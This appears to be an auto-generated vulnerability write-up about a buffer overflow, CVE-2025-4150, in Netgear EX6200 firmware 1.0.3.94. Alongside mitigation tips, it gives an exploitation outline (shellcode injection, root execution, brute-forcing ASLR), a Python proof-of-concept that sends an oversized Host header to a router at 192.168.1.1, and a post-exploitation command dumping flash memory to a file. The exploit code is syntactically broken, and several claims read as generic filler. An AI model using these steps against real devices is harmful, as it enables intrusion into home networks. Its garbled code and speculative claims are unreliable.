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How CVE-2025-4150 Works
The vulnerability in Netgear EX6200 firmware version 1.0.3.94 resides in the `sub_54340` function, which mishandles the `host` argument, leading to a buffer overflow. Attackers can remotely trigger this flaw by sending a specially crafted network packet containing an overly long host value. When processed, the function fails to perform proper bounds checking, corrupting adjacent memory and potentially allowing arbitrary code execution. The lack of response from the vendor indicates no patch is currently available, increasing exploitation risk.
DailyCVE Form
Platform: Netgear EX6200
Version: 1.0.3.94
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation Analysis
- Crash Trigger: Crafted HTTP request with oversized `Host` header.
2. Payload Delivery: Shellcode injection via overflowed stack.
- Privilege Escalation: Execute as root due to firmware context.
Exploit Code (PoC)
import socket
target_ip = "192.168.1.1"
payload = "A" 1024 + "\xde\xad\xbe\xef" EIP overwrite
request = f"GET / HTTP/1.1\r\nHost: {payload}\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 80))
s.send(request.encode())
Protection Measures
1. Mitigation: Disable remote admin access.
2. Workaround: Block external HTTP requests via firewall.
- Detection: Monitor logs for abnormal `Host` header lengths.
Commands for Diagnosis
Check active connections netstat -tuln | grep 80 Firmware checksum verification sha256sum /tmp/firmware.bin
Memory Protection Bypass
- ASLR Bypass: Bruteforce return addresses.
- Stack Canaries: Not present in firmware.
Post-Exploitation
Dump configuration dd if=/dev/mtdblock0 of=/tmp/config.bin
Vendor Silence Implications
- Zero-day risk remains unpatched.
- Third-party firmware recommended.
Network Analytics
Capture exploit traffic tcpdump -i eth0 'port 80 and host 192.168.1.1' -w exploit.pcap
Firmware Rollback
Revert to older version mtd -r write backup.bin linux
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
